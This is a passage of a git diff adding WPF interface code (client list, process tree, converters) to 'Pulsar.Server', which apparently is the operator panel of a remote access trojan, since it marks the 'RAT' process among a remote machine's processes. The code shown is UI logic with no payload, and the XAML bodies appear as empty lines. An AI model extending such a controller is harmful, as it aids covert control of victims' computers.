OnPropertyChanged(nameof(StatusBrush)); + } + + public void UpdateVersionBrush() + { + OnPropertyChanged(nameof(VersionBrush)); + } + + private void SetField(ref T field, T value, [CallerMemberName] string? propertyName = null) + { + if (!Equals(field, value)) + { + field = value; + OnPropertyChanged(propertyName); + if (propertyName == nameof(Status)) + { + UpdateStatusBrush(); + } + if (propertyName == nameof(Version)) + { + UpdateVersionBrush(); + } + } + } + + private void OnPropertyChanged([CallerMemberName] string? propertyName = null) + { + PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/ClientsListView.xaml b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml new file mode 100644 index 0000000..d1fb717 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml @@ -0,0 +1,264 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Pulsar.Server/Controls/Wpf/ClientsListView.xaml.cs b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml.cs new file mode 100644 index 0000000..3c01987 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml.cs @@ -0,0 +1,591 @@ +using Pulsar.Server.Models; +using Pulsar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Linq; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Data; +using System.Windows.Input; +using System.Windows.Media; +using System.Windows.Controls.Primitives; +using System.Windows.Documents; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + public partial class ClientsListView : UserControl + { + private readonly ObservableCollection _entries = new(); + private readonly Dictionary _entryLookup = new(); + private readonly CollectionViewSource _collectionViewSource; + private bool _groupByCountry; + private Predicate? _filter; + private bool _suppressSelectionNotifications; + private bool _isDragSelecting; + private ClientListEntry? _dragAnchorEntry; + private Point _dragStartPoint; + private SelectionAdorner? _selectionAdorner; + + public ClientsListView() + { + InitializeComponent(); + + _collectionViewSource = new CollectionViewSource { Source = _entries }; + _collectionViewSource.Filter += OnCollectionFilter; + ClientsView = _collectionViewSource.View; + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Country), ListSortDirection.Ascending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.IsFavorite), ListSortDirection.Descending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Nickname), ListSortDirection.Ascending)); + + ToggleFavoriteCommand = new RelayCommand(OnToggleFavorite); + DataContext = this; + + ApplyTheme(Settings.DarkMode); + + ClientsGrid.PreviewMouseLeftButtonDown += ClientsGrid_OnPreviewMouseLeftButtonDown; + ClientsGrid.PreviewMouseMove += ClientsGrid_OnPreviewMouseMove; + ClientsGrid.PreviewMouseLeftButtonUp += ClientsGrid_OnPreviewMouseLeftButtonUp; + ClientsGrid.MouseLeave += ClientsGrid_OnMouseLeave; + } + + public ICollectionView ClientsView { get; } + + public ICommand ToggleFavoriteCommand { get; } + + public event EventHandler>? SelectionChanged; + public event EventHandler? ItemDoubleClicked; + public event EventHandler? FavoriteToggled; + + public IReadOnlyList SelectedEntries => ClientsGrid.SelectedItems.Cast().ToList(); + + public ClientListEntry? GetEntryByClient(Client client) + { + if (client == null) + { + return null; + } + + if (Dispatcher.CheckAccess()) + { + _entryLookup.TryGetValue(client, out var entry); + return entry; + } + + return Dispatcher.Invoke(() => + { + _entryLookup.TryGetValue(client, out var entry); + return entry; + }); + } + + public ClientListEntry AddOrUpdate(Client client, Action updater) + { + if (client == null) + { + throw new ArgumentNullException(nameof(client)); + } + + if (updater == null) + { + throw new ArgumentNullException(nameof(updater)); + } + + if (Dispatcher.CheckAccess()) + { + return AddOrUpdateInternal(client, updater); + } + + return Dispatcher.Invoke(() => AddOrUpdateInternal(client, updater)); + } + + private ClientListEntry AddOrUpdateInternal(Client client, Action updater) + { + if (!_entryLookup.TryGetValue(client, out var entry)) + { + entry = new ClientListEntry(client); + _entries.Add(entry); + _entryLookup[client] = entry; + } + + updater(entry); + return entry; + } + + public void Remove(Client client) + { + if (client == null) + { + return; + } + + void RemoveInternal() + { + if (_entryLookup.TryGetValue(client, out var target)) + { + _entries.Remove(target); + _entryLookup.Remove(client); + } + } + + if (Dispatcher.CheckAccess()) + { + RemoveInternal(); + } + else + { + Dispatcher.Invoke(RemoveInternal); + } + } + + public void Clear() + { + void ClearInternal() + { + _entries.Clear(); + _entryLookup.Clear(); + } + + if (Dispatcher.CheckAccess()) + { + ClearInternal(); + } + else + { + Dispatcher.Invoke(ClearInternal); + } + } + + public void ApplyFilter(Predicate? filter) + { + _filter = filter != null ? new Predicate(o => filter((ClientListEntry)o)) : null; + Dispatcher.Invoke(() => ClientsView.Refresh()); + } + + public void SetGroupByCountry(bool enabled) + { + _groupByCountry = enabled; + Dispatcher.Invoke(UpdateGrouping); + } + + public void SetSelectedClients(IEnumerable clients) + { + if (clients == null) + { + return; + } + + var target = new HashSet(clients); + + Dispatcher.Invoke(() => + { + _suppressSelectionNotifications = true; + try + { + ClientsGrid.SelectedItems.Clear(); + foreach (var entry in _entries) + { + if (target.Contains(entry.Client)) + { + ClientsGrid.SelectedItems.Add(entry); + } + } + } + finally + { + _suppressSelectionNotifications = false; + } + }); + } + + public void RefreshSort() + { + Dispatcher.Invoke(() => + { + using (ClientsView.DeferRefresh()) + { + ClientsView.SortDescriptions.Clear(); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Country), ListSortDirection.Ascending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.IsFavorite), ListSortDirection.Descending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Nickname), ListSortDirection.Ascending)); + } + }); + } + + public void RefreshItem(ClientListEntry entry) + { + Dispatcher.Invoke(() => + { + entry.UpdateStatusBrush(); + ClientsView.Refresh(); + }); + } + + public void ApplyTheme(bool isDarkMode) + { + Dispatcher.Invoke(() => + { + Resources["RowBackgroundBrush"] = CreateBrush(isDarkMode ? "#1E1E1E" : "#FFFFFF"); + Resources["RowAlternateBackgroundBrush"] = CreateBrush(isDarkMode ? "#232323" : "#F7F7F7"); + Resources["RowHoverBrush"] = CreateBrush(isDarkMode ? "#2E2E2E" : "#ECECEC"); + Resources["RowSelectedBrush"] = CreateBrush(isDarkMode ? "#162B4C" : "#D8E6FF"); + Resources["RowSelectedInactiveBrush"] = CreateBrush(isDarkMode ? "#11213C" : "#E5EFFE"); + Resources["RowForegroundBrush"] = CreateBrush(isDarkMode ? "#FFFFFF" : "#1A1A1A"); + Resources["RowSelectedForegroundBrush"] = CreateBrush(isDarkMode ? "#67B0FF" : "#0F3B8C"); + Resources["HeaderBackgroundBrush"] = CreateBrush(isDarkMode ? "#2A2A2A" : "#FFFFFF"); + Resources["HeaderForegroundBrush"] = CreateBrush(isDarkMode ? "#FFFFFF" : "#1A1A1A"); + Resources["GridBackgroundBrush"] = CreateBrush(isDarkMode ? "#141414" : "#FFFFFF"); + Resources["ScrollBarTrackBrush"] = CreateBrush(isDarkMode ? "#1E1E1E" : "#E5E5E5"); + Resources["ScrollBarThumbBrush"] = CreateBrush(isDarkMode ? "#444444" : "#B5B5B5"); + Resources["ScrollBarThumbHoverBrush"] = CreateBrush(isDarkMode ? "#5A5A5A" : "#9E9E9E"); + Resources["ScrollBarThumbPressedBrush"] = CreateBrush(isDarkMode ? "#737373" : "#7C7C7C"); + + ClientsGrid.Background = (Brush)Resources["GridBackgroundBrush"]; + ClientsGrid.RowBackground = (Brush)Resources["RowBackgroundBrush"]; + ClientsGrid.AlternatingRowBackground = (Brush)Resources["RowAlternateBackgroundBrush"]; + ClientsGrid.Foreground = (Brush)Resources["RowForegroundBrush"]; + }); + } + + private void UpdateGrouping() + { + using (ClientsView.DeferRefresh()) + { + ClientsView.GroupDescriptions.Clear(); + if (_groupByCountry) + { + ClientsView.GroupDescriptions.Add(new PropertyGroupDescription(nameof(ClientListEntry.Country))); + } + } + } + + private void OnCollectionFilter(object sender, FilterEventArgs e) + { + if (_filter == null) + { + e.Accepted = true; + return; + } + + e.Accepted = _filter(e.Item); + } + + private void OnToggleFavorite(ClientListEntry? entry) + { + if (entry == null) + { + return; + } + + System.Diagnostics.Debug.WriteLine($"[ClientsListView] Toggling favorite for {entry.Nickname} ({entry.Client?.Value?.UserAtPc ?? "unknown"})"); + System.Diagnostics.Debug.WriteLine($"[ClientsListView] Before toggle: IsFavorite={entry.IsFavorite}"); + + RefreshSort(); + FavoriteToggled?.Invoke(this, entry); + + System.Diagnostics.Debug.WriteLine($"[ClientsListView] After toggle: IsFavorite={entry.IsFavorite}"); + } + + private void ClientsGrid_OnSelectionChanged(object sender, SelectionChangedEventArgs e) + { + if (_suppressSelectionNotifications) + { + return; + } + + var selection = SelectedEntries; + SelectionChanged?.Invoke(this, selection); + } + + private void ClientsGrid_OnMouseDoubleClick(object sender, MouseButtonEventArgs e) + { + if (ClientsGrid.SelectedItem is ClientListEntry entry) + { + ItemDoubleClicked?.Invoke(this, entry); + } + } + + private void ClientsGrid_OnPreviewMouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + if (e.OriginalSource is not DependencyObject source) + { + return; + } + + if (FindVisualParent(source) != null || FindVisualParent(source) != null) + { + return; + } + + if (FindVisualParent(source) != null) + { + return; + } + + _dragStartPoint = e.GetPosition(ClientsGrid); + ClientsGrid.Focus(); + + if (Keyboard.Modifiers != ModifierKeys.None) + { + return; + } + + var row = FindVisualParent(source); + _dragAnchorEntry = row?.Item as ClientListEntry; + + BeginDragSelection(); + + if (_dragAnchorEntry != null) + { + SelectEntries(new[] { _dragAnchorEntry }); + } + else + { + ClearSelectionInternal(false); + } + + e.Handled = true; + } + + private void ClientsGrid_OnPreviewMouseMove(object sender, MouseEventArgs e) + { + if (!_isDragSelecting || e.LeftButton != MouseButtonState.Pressed || Keyboard.Modifiers != ModifierKeys.None) + { + return; + } + + var point = e.GetPosition(ClientsGrid); + UpdateDragSelection(point); + e.Handled = true; + } + + private void ClientsGrid_OnPreviewMouseLeftButtonUp(object sender, MouseButtonEventArgs e) + { + if (_isDragSelecting) + { + EndDragSelection(); + e.Handled = true; + } + } + + private void ClientsGrid_OnMouseLeave(object sender, MouseEventArgs e) + { + if (e.LeftButton != MouseButtonState.Pressed) + { + EndDragSelection(); + } + } + + private void DataGridRow_OnPreviewMouseRightButtonDown(object sender, MouseButtonEventArgs e) + { + if (sender is DataGridRow row) + { + if (!ClientsGrid.SelectedItems.Contains(row.Item)) + { + ClientsGrid.SelectedItem = row.Item; + } + + ClientsGrid.Focus(); + } + } + + private static SolidColorBrush CreateBrush(string hex) + { + var color = (Color)ColorConverter.ConvertFromString(hex)!; + var brush = new SolidColorBrush(color); + brush.Freeze(); + return brush; + } + + public void ClearSelection() + { + ClearSelectionInternal(true); + } + + private void EndDragSelection() + { + _isDragSelecting = false; + _dragAnchorEntry = null; + + if (ClientsGrid.IsMouseCaptured) + { + ClientsGrid.ReleaseMouseCapture(); + } + + if (_selectionAdorner != null) + { + var layer = AdornerLayer.GetAdornerLayer(ClientsGrid); + layer?.Remove(_selectionAdorner); + _selectionAdorner = null; + } + } + + private DataGridRow? GetRowFromPoint(Point point) + { + var element = ClientsGrid.InputHitTest(point) as DependencyObject; + return FindVisualParent(element); + } + + private static T? FindVisualParent(DependencyObject? current) where T : DependencyObject + { + while (current != null) + { + if (current is T target) + { + return target; + } + + current = VisualTreeHelper.GetParent(current); + } + + return null; + } + + private void BeginDragSelection() + { + _isDragSelecting = true; + ClientsGrid.Focus(); + ClientsGrid.CaptureMouse(); + + var layer = AdornerLayer.GetAdornerLayer(ClientsGrid); + if (layer != null) + { + _selectionAdorner = new SelectionAdorner(ClientsGrid, _dragStartPoint); + layer.Add(_selectionAdorner); + } + } + + private void UpdateDragSelection(Point currentPoint) + { + _selectionAdorner?.Update(currentPoint); + + var rect = new Rect(_dragStartPoint, currentPoint); + var selected = new List(); + + if (_dragAnchorEntry != null) + { + selected.Add(_dragAnchorEntry); + } + + var itemCount = ClientsGrid.Items.Count; + for (var i = 0; i < itemCount; i++) + { + if (ClientsGrid.Items[i] is not ClientListEntry entry) + { + continue; + } + + if (ReferenceEquals(entry, _dragAnchorEntry)) + { + continue; + } + + if (ClientsGrid.ItemContainerGenerator.ContainerFromIndex(i) is not DataGridRow row) + { + continue; + } + + var bounds = VisualTreeHelper.GetDescendantBounds(row); + var topLeft = row.TransformToAncestor(ClientsGrid).Transform(new Point(bounds.X, bounds.Y)); + var rowRect = new Rect(topLeft, bounds.Size); + + if (rowRect.IntersectsWith(rect)) + { + selected.Add(entry); + } + } + + SelectEntries(selected); + } + + private void SelectEntries(IReadOnlyList entries) + { + _suppressSelectionNotifications = true; + try + { + ClientsGrid.SelectedItems.Clear(); + foreach (var entry in entries) + { + ClientsGrid.SelectedItems.Add(entry); + } + } + finally + { + _suppressSelectionNotifications = false; + } + + SelectionChanged?.Invoke(this, entries); + } + + private void ClearSelectionInternal(bool raiseEvent) + { + if (ClientsGrid.SelectedItems.Count == 0) + { + if (raiseEvent) + { + SelectionChanged?.Invoke(this, Array.Empty()); + } + return; + } + + _suppressSelectionNotifications = true; + try + { + ClientsGrid.SelectedItems.Clear(); + } + finally + { + _suppressSelectionNotifications = false; + } + + if (raiseEvent) + { + SelectionChanged?.Invoke(this, Array.Empty()); + } + } + + private sealed class SelectionAdorner : Adorner + { + private static readonly Brush FillBrush; + private static readonly Pen BorderPen; + + private Point _start; + private Point _end; + + static SelectionAdorner() + { + FillBrush = new SolidColorBrush(Color.FromArgb(40, 51, 153, 255)); + FillBrush.Freeze(); + BorderPen = new Pen(new SolidColorBrush(Color.FromArgb(200, 51, 153, 255)), 1) + { + DashStyle = DashStyles.Dash + }; + BorderPen.Brush.Freeze(); + BorderPen.Freeze(); + } + + public SelectionAdorner(UIElement adornedElement, Point start) + : base(adornedElement) + { + IsHitTestVisible = false; + _start = start; + _end = start; + } + + public void Update(Point current) + { + _end = current; + InvalidateVisual(); + } + + protected override void OnRender(DrawingContext drawingContext) + { + var rect = new Rect(_start, _end); + drawingContext.DrawRectangle(FillBrush, BorderPen, rect); + } + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/FavoriteToBrushConverter.cs b/Pulsar.Server/Controls/Wpf/FavoriteToBrushConverter.cs new file mode 100644 index 0000000..8a5f0c7 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/FavoriteToBrushConverter.cs @@ -0,0 +1,23 @@ +using System; +using System.Globalization; +using System.Windows.Data; +using System.Windows.Media; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + internal sealed class FavoriteToBrushConverter : IValueConverter + { + public object Convert(object? value, Type targetType, object? parameter, CultureInfo culture) + { + bool isFavorite = value is bool flag && flag; + return isFavorite ? Brushes.Gold : Brushes.Gray; + } + + public object ConvertBack(object? value, Type targetType, object? parameter, CultureInfo culture) + { + throw new NotSupportedException(); + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/HeatMapView.xaml b/Pulsar.Server/Controls/Wpf/HeatMapView.xaml new file mode 100644 index 0000000..a9c9666 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/HeatMapView.xaml @@ -0,0 +1,268 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml.cs b/Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml.cs new file mode 100644 index 0000000..7def026 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml.cs @@ -0,0 +1,484 @@ +using Pulsar.Common.Models; +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Input; +using System.Windows.Media; + +namespace Pulsar.Server.Controls.Wpf +{ + public partial class ProcessTreeView : UserControl + { + private readonly ProcessTreeViewModel _viewModel = new ProcessTreeViewModel(); + private ScrollViewer _scrollViewer; + + public ProcessTreeView() + { + InitializeComponent(); + DataContext = _viewModel; + Loaded += OnLoaded; + } + + public event EventHandler SortRequested; + public event EventHandler SelectedProcessChanged; + + public Process SelectedProcess => (Tree.SelectedItem as ProcessTreeNode)?.Model; + + public IReadOnlyList SelectedProcesses + { + get + { + var selected = SelectedProcess; + return selected != null ? new[] { selected } : Array.Empty(); + } + } + // make sure these fields exist in the class + private List _allNodes = new List(); + private int _searchIndex = -1; + + // public so the form can call it (or you can call it from FindNext) + public void FlattenNodes() + { + _allNodes.Clear(); + + void Add(ProcessTreeNode node) + { + _allNodes.Add(node); + foreach (var child in node.Children) + Add(child); + } + + foreach (var root in _viewModel.RootNodes) + Add(root); + } + private HashSet _expandedNodeIds = new(); + + public void SaveExpandedNodes() + { + _expandedNodeIds.Clear(); + foreach (var node in FlattenAllNodes()) + if (node.IsExpanded) + _expandedNodeIds.Add(node.Model.Id); + } + + private IEnumerable FlattenAllNodes() + { + var list = new List(); + void Add(ProcessTreeNode n) + { + list.Add(n); + foreach (var c in n.Children) Add(c); + } + foreach (var root in _viewModel.RootNodes) + Add(root); + return list; + } + + // Call this to find the next match for the given query. + // Query supports multiple words; all words must be matched (AND) across any of the fields. + public void FindNext(string query) + { + if (string.IsNullOrWhiteSpace(query)) return; + + // ensure list is fresh + FlattenNodes(); + if (_allNodes.Count == 0) return; + + var keywords = query.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries) + .Select(k => k.Trim()) + .Where(k => k.Length > 0) + .ToArray(); + if (keywords.Length == 0) return; + + // start searching from next index + _searchIndex = (_searchIndex + 1) % _allNodes.Count; + + for (int i = 0; i < _allNodes.Count; i++) + { + int idx = (_searchIndex + i) % _allNodes.Count; + var node = _allNodes[idx]; + + bool matchesAll = keywords.All(k => + (!string.IsNullOrEmpty(node.Name) && node.Name.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + (!string.IsNullOrEmpty(node.WindowTitle) && node.WindowTitle.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + node.Model.Id.ToString().IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0 + ); + + if (matchesAll) + { + // deselect previous selection(s) + foreach (var n in _allNodes) n.IsSelected = false; + + // select and expand this node + node.IsSelected = true; + node.IsExpanded = true; + + // expand ancestors so the node is visible + ExpandAncestorsForNode(node); + + // scroll into view if possible + var tvi = GetTreeViewItem(node); + tvi?.BringIntoView(); + + _searchIndex = idx; + break; + } + } + } + + // very small helper: expand ancestors by walking from root — simple and non-invasive + private void ExpandAncestorsForNode(ProcessTreeNode target) + { + // walk all root branches and expand while searching for the target; when found, keep ancestors expanded + bool TryExpandPath(ProcessTreeNode node) + { + if (node == target) return true; + + foreach (var child in node.Children) + { + if (TryExpandPath(child)) + { + node.IsExpanded = true; // keep ancestor expanded + return true; + } + } + return false; + } + + foreach (var root in _viewModel.RootNodes) + { + if (TryExpandPath(root)) break; + } + } + + + // Highlight processes by keyword(s) in Name, WindowTitle, or PID + public void FindProcesses(string query) + { + if (string.IsNullOrWhiteSpace(query)) return; + var keywords = query.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); + + void Highlight(ProcessTreeNode node) + { + node.IsSelected = keywords.All(k => + (!string.IsNullOrEmpty(node.Name) && node.Name.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + (!string.IsNullOrEmpty(node.WindowTitle) && node.WindowTitle.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + node.Model.Id.ToString().Contains(k) + ); + + foreach (var child in node.Children) + Highlight(child); + } + + foreach (var root in _viewModel.RootNodes) + Highlight(root); + } + + // Clear all highlights / selections + public void ClearSearch() + { + void Clear(ProcessTreeNode node) + { + node.IsSelected = false; + foreach (var child in node.Children) + Clear(child); + } + + foreach (var root in _viewModel.RootNodes) + Clear(root); + } + + private void RestoreExpandedNodes() + { + foreach (var node in FlattenAllNodes()) + node.IsExpanded = _expandedNodeIds.Contains(node.Model.Id); + } + + public void UpdateProcesses(IEnumerable processes, ProcessTreeSortColumn sortColumn, bool ascending, int? ratPid) + { + // Save current selections and expanded state + var selectedIds = SelectedProcesses.Select(p => p.Id).ToArray(); + SaveExpandedNodes(); + + _viewModel.Apply(processes, sortColumn, ascending, ratPid); + // Remove ExpandAll(), we want to restore only previous expansions + RestoreExpandedNodes(); + + // Restore selection + SelectProcessesById(selectedIds); + } + + + + public void ExpandRoots() + { + foreach (var node in _viewModel.RootNodes) + node.IsExpanded = true; + } + + private void OnLoaded(object sender, RoutedEventArgs e) + { + if (_scrollViewer == null) + _scrollViewer = FindDescendant(Tree); + } + + private void OnTreeSelected(object sender, RoutedPropertyChangedEventArgs e) + { + SelectedProcessChanged?.Invoke(this, EventArgs.Empty); + } + + private void OnNameHeaderClick(object sender, MouseButtonEventArgs e) => SortRequested?.Invoke(this, new SortRequestedEventArgs(ProcessTreeSortColumn.Name)); + private void OnPidHeaderClick(object sender, MouseButtonEventArgs e) => SortRequested?.Invoke(this, new SortRequestedEventArgs(ProcessTreeSortColumn.Pid)); + private void OnTitleHeaderClick(object sender, MouseButtonEventArgs e) => SortRequested?.Invoke(this, new SortRequestedEventArgs(ProcessTreeSortColumn.WindowTitle)); + + private void OnTreePreviewRightMouse(object sender, MouseButtonEventArgs e) + { + if (FindAncestor((DependencyObject)e.OriginalSource) is TreeViewItem tvi) + { + tvi.IsSelected = true; + tvi.Focus(); + } + } + public void SelectProcessesById(int[] ids) + { + if (ids == null || ids.Length == 0) return; + + void RestoreSelection(ProcessTreeNode node) + { + node.IsSelected = ids.Contains(node.Model.Id); + foreach (var child in node.Children) + RestoreSelection(child); + } + + foreach (var root in _viewModel.RootNodes) + RestoreSelection(root); + } + + + // Recursively get TreeViewItem for a node + private TreeViewItem GetTreeViewItem(object item) + { + return Tree.ItemContainerGenerator.ContainerFromItem(item) as TreeViewItem + ?? FindContainerInChildren(Tree.ItemContainerGenerator, item); + } + + private TreeViewItem FindContainerInChildren(ItemContainerGenerator parentGenerator, object item) + { + foreach (var child in parentGenerator.Items) + { + var tvi = parentGenerator.ContainerFromItem(child) as TreeViewItem; + if (tvi != null) + { + var childTvi = tvi.ItemContainerGenerator.ContainerFromItem(item) as TreeViewItem; + if (childTvi != null) return childTvi; + + var recursive = FindContainerInChildren(tvi.ItemContainerGenerator, item); + if (recursive != null) return recursive; + } + } + return null; + } + + private void OnTreePreviewMouseWheel(object sender, MouseWheelEventArgs e) + { + if (_scrollViewer == null) + _scrollViewer = FindDescendant(Tree); + + if (_scrollViewer != null && e.Delta != 0) + { + var offset = _scrollViewer.VerticalOffset - e.Delta / 3.0; + _scrollViewer.ScrollToVerticalOffset(Math.Max(0, offset)); + e.Handled = true; + } + } + + private static T FindAncestor(DependencyObject current) where T : DependencyObject + { + while (current != null) + { + if (current is T match) return match; + current = VisualTreeHelper.GetParent(current); + } + return null; + } + + private static T FindDescendant(DependencyObject parent) where T : DependencyObject + { + if (parent == null) return null; + + for (int i = 0, count = VisualTreeHelper.GetChildrenCount(parent); i < count; i++) + { + var child = VisualTreeHelper.GetChild(parent, i); + if (child is T match) return match; + + var descendant = FindDescendant(child); + if (descendant != null) return descendant; + } + + return null; + } + } + + public enum ProcessTreeSortColumn + { + Name = 0, + Pid = 1, + WindowTitle = 2 + } + + public sealed class SortRequestedEventArgs : EventArgs + { + public SortRequestedEventArgs(ProcessTreeSortColumn column) => Column = column; + public ProcessTreeSortColumn Column { get; } + } + + internal sealed class ProcessTreeViewModel : INotifyPropertyChanged + { + public ObservableCollection RootNodes { get; } = new ObservableCollection(); + private ProcessTreeSortColumn _sortColumn = ProcessTreeSortColumn.Name; + private bool _sortAscending = true; + + public string HeaderGlyphName => BuildGlyph(ProcessTreeSortColumn.Name); + public string HeaderGlyphPid => BuildGlyph(ProcessTreeSortColumn.Pid); + public string HeaderGlyphTitle => BuildGlyph(ProcessTreeSortColumn.WindowTitle); + + public event PropertyChangedEventHandler PropertyChanged; + + public void Apply(IEnumerable processes, ProcessTreeSortColumn sortColumn, bool ascending, int? ratPid) + { + _sortColumn = sortColumn; + _sortAscending = ascending; + OnPropertyChanged(nameof(HeaderGlyphName)); + OnPropertyChanged(nameof(HeaderGlyphPid)); + OnPropertyChanged(nameof(HeaderGlyphTitle)); + + RootNodes.Clear(); + + var items = processes?.ToArray() ?? Array.Empty(); + if (items.Length == 0) return; + + var processById = items.ToDictionary(p => p.Id, p => p); + var children = new Dictionary>(); + var roots = new List(); + + foreach (var process in items) + { + if (process.ParentId.HasValue && process.ParentId.Value > 0 && process.ParentId.Value != process.Id && processById.ContainsKey(process.ParentId.Value)) + { + if (!children.TryGetValue(process.ParentId.Value, out var list)) + { + list = new List(); + children.Add(process.ParentId.Value, list); + } + list.Add(process); + } + else + { + roots.Add(process); + } + } + + var comparer = new ProcessComparer(sortColumn, ascending); + roots.Sort(comparer); + + var visited = new HashSet(); + + foreach (var root in roots) AddNodeRecursive(root, null); + foreach (var process in items) + if (!visited.Contains(process.Id)) AddNodeRecursive(process, null); + + void AddNodeRecursive(Process process, ProcessTreeNode parent) + { + if (!visited.Add(process.Id)) return; + var node = new ProcessTreeNode(process, ratPid, parent == null); + + if (parent == null) RootNodes.Add(node); + else parent.Children.Add(node); + + if (children.TryGetValue(process.Id, out var childList)) + { + childList.Sort(comparer); + foreach (var child in childList) AddNodeRecursive(child, node); + } + } + } + + public void ExpandAll() + { + foreach (var node in RootNodes) + node.SetExpandedRecursive(true); + } + + private string BuildGlyph(ProcessTreeSortColumn forColumn) => _sortColumn != forColumn ? string.Empty : (_sortAscending ? "▲" : "▼"); + + private void OnPropertyChanged([CallerMemberName] string propertyName = null) => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); + } + + internal sealed class ProcessTreeNode : INotifyPropertyChanged + { + private bool _isSelected; + public bool IsSelected + { + get => _isSelected; + set { if (_isSelected != value) { _isSelected = value; OnPropertyChanged(); } } + } + public ProcessTreeNode(Process model, int? ratPid, bool expandByDefault) + { + Model = model; + Children = new ObservableCollection(); + _isExpanded = expandByDefault; + IsRatProcess = ratPid.HasValue && model.Id == ratPid.Value; + _foreground = IsRatProcess ? new SolidColorBrush(Color.FromRgb(140, 255, 140)) : (Brush)new SolidColorBrush(Color.FromRgb(230, 230, 230)); + } + + public Process Model { get; } + public ObservableCollection Children { get; } + public bool IsRatProcess { get; } + public string Name => string.IsNullOrWhiteSpace(Model.Name) ? "(unknown)" : Model.Name; + public string PidDisplay => Model.Id.ToString(); + public string WindowTitle => string.IsNullOrWhiteSpace(Model.MainWindowTitle) ? string.Empty : Model.MainWindowTitle; + + private bool _isExpanded; + public bool IsExpanded + { + get => _isExpanded; + set { if (_isExpanded != value) { _isExpanded = value; OnPropertyChanged(); } } + } + + private readonly Brush _foreground; + public Brush Foreground => _foreground; + + public event PropertyChangedEventHandler PropertyChanged; + private void OnPropertyChanged([CallerMemberName] string propertyName = null) => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); + public void SetExpandedRecursive(bool isExpanded) { IsExpanded = isExpanded; foreach (var child in Children) child.SetExpandedRecursive(isExpanded); } + } + + internal sealed class ProcessComparer : IComparer + { + private readonly ProcessTreeSortColumn _column; + private readonly bool _ascending; + + public ProcessComparer(ProcessTreeSortColumn column, bool ascending) { _column = column; _ascending = ascending; } + public int Compare(Process x, Process y) + { + if (ReferenceEquals(x, y)) return 0; + if (x is null) return _ascending ? -1 : 1; + if (y is null) return _ascending ? 1 : -1; + + int result = _column switch + { + ProcessTreeSortColumn.Pid => x.Id.CompareTo(y.Id), + ProcessTreeSortColumn.WindowTitle => string.Compare(x.MainWindowTitle ?? string.Empty, y.MainWindowTitle ?? string.Empty, StringComparison.CurrentCultureIgnoreCase), + _ => string.Compare(x.Name ?? string.Empty, y.Name ?? string.Empty, StringComparison.CurrentCultureIgnoreCase) + }; + + if (result == 0) result = x.Id.CompareTo(y.Id); + return _ascending ? result : -result; + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/RelayCommand.cs b/Pulsar.Server/Controls/Wpf/RelayCommand.cs new file mode 100644 index 0000000..f096795 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/RelayCommand.cs @@ -0,0 +1,36 @@ +using System; +using System.Windows.Input; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + internal sealed class RelayCommand : ICommand + { + private readonly Action _execute; + private readonly Func? _canExecute; + + public RelayCommand(Action execute, Func? canExecute = null) + { + _execute = execute ?? throw new ArgumentNullException(nameof(execute)); + _canExecute = canExecute; + } + + public event EventHandler? CanExecuteChanged; + + public bool CanExecute(object? parameter) + { + return _canExecute?.Invoke((T?)parameter) ?? true; + } + + public void Execute(object? parameter) + { + _execute((T?)parameter); + } + + public void RaiseCanExecuteChanged() + { + CanExecuteChanged?.Invoke(this, EventArgs.Empty); + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/StatsView.xaml b/Pulsar.Server/Controls/Wpf/StatsView.xaml new file mode 100644 index 0000000..36c9541 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/StatsView.xaml @@ -0,0 +1,275 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +